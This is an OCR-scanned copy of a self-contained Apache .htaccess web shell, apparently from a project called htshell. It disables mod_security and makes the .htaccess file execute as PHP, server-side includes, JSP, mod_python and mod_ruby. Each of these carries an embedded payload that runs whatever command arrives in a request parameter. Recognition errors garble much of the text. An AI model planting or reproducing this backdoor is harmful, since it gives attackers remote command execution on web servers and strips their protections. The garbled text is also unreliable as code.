# -
# Self contalned . htaccess web shell - Part of the htshell project

Files ™ "™, ht":
# Uncomment the 11ine below for ApacheZ 4 and newetr
# Require all granted
Order allow, deny
Allow from all
£/Files:

# Turn of f hardeni ngssecuri ty settings

<IfModul e mod_security, o
SecFilterEngine OfFf

<41 fModul e

# Make . htaccess file be Interpreted a5 php file. This occur after apache has 1nterpreted

<IfModul e mod_phpS, c

AddTupe applicationsx-httpd-php . htaccess
<41 fModul e
<IfModul e mod_phpd, c>

AddTupe applicationsx-httpd-php . htaccess
<41 fModul e
<IfModul e mod_php3, c>

AddTupe applicationsx-httpd-php . htaccess
<41 fModul e
<IfModul e mod_phpb, c>

AddTupe applicationsx-httpd-php . htaccess
<41 fModul e
<IfModul e mod_suphp, c>

AddTupe applicationsx-httpd-suphp . htaccess
<41 fModul e

# <Fphp echo "-=", chr 620, "\n"; passthrul g GETL '], " 224170 echo "Vx3c! ="
<IfModul e mod_include, o

# Enable serverside 1ncludes with exec functionality

Options +Includes



#Make apache treat | htaccess a5 g server side Include file

AddType texts himl . htaccess

AddHandl et text/html . htaccess

AddOutputFilter IHMCLUDES | htaccess
</ 1 fModul e
# <! —ftevec cmd="echo -e "--\x3e"' —-x<l ——#1F expr="¢0UERY_STRIMG_UHESCAFED = #7c=(, #14:"
——x¢l ——fset var="cmd" value="%1 Z:81" --x¢l ——felse —-x<l ——#set var="cmd" val ue="eccho
"Regex failed' " --x<! —#endi {1 —-2<! —#exec cmd="$cmd"—-»<! —-
<IfModule mod_cacuho, o

AddHandl er caucho-request | htaccess
</ 1 fModul e
#< jsp oot xmlns: jsp="http: /7 java sun. coms' TSP/ Page” wersion="1, 2" jsp di rect ve page
Import="java 1o #"/><jsp scriptlet>5tring cmd = reguest, getFParameter? cmd” 1 5tring out put
=" Process po= null:5tring 5 = noulltry £1F
(System getPropertyd "os name" ), tollpperCasel s, 1 ndexore "WIHDOWS" ) 1= -13{p =

-

Runtime, getRuntimel), exect "cmd, exe #C " + cmdi; el seip = Runtime getRuntimeds, exect cmd
A rBurferedfeadsr 51 = new Buf feredReadery new
Input 5treamfeadercp getlnput 5tream1ia; whiled(s = s, readlinecay = oulll {out, printlnd =
JpritcatchlI0Exception 1 fout, printlnd e 3} 33/ Jsp scriptl et < jsp root s
#o—=rgl —
#o—=rgl —
<IfModule mod_python, c
AddType texts himl . htaccess
AddHandl er mod_python . htaccess
AddHandl er mod_python . psp
PuthonHandl er mod_python, psp
Pyt honDebug On
</TfModul e
# <% Import commands
# ="\ xGe"
# k=commands, get st at usoutput Cforml "c"10 il ——
#o—=rgl —
# Commented ruby out by using <! ruby 1nstead of the percentage =sign a5 mod_python and
mod_ruby ol ash
<IfModul e mod_ruby, c
RubyRequire apacheserb-run
FubySafelevel @
AddType texts himl . htaccess
#<Files # htaccess:

#  SetHandl er ruby-object



#  RubyHandl er Hpache: | ERBRUR, 1nstance
#o/F11ess
AT Modul e

# <lruby puts "-=\x3e" require gl ogl SCETL new; cmd=cgi [ "c"]; cmd, untaint; puts T #icmdr T !
o
LW

# -



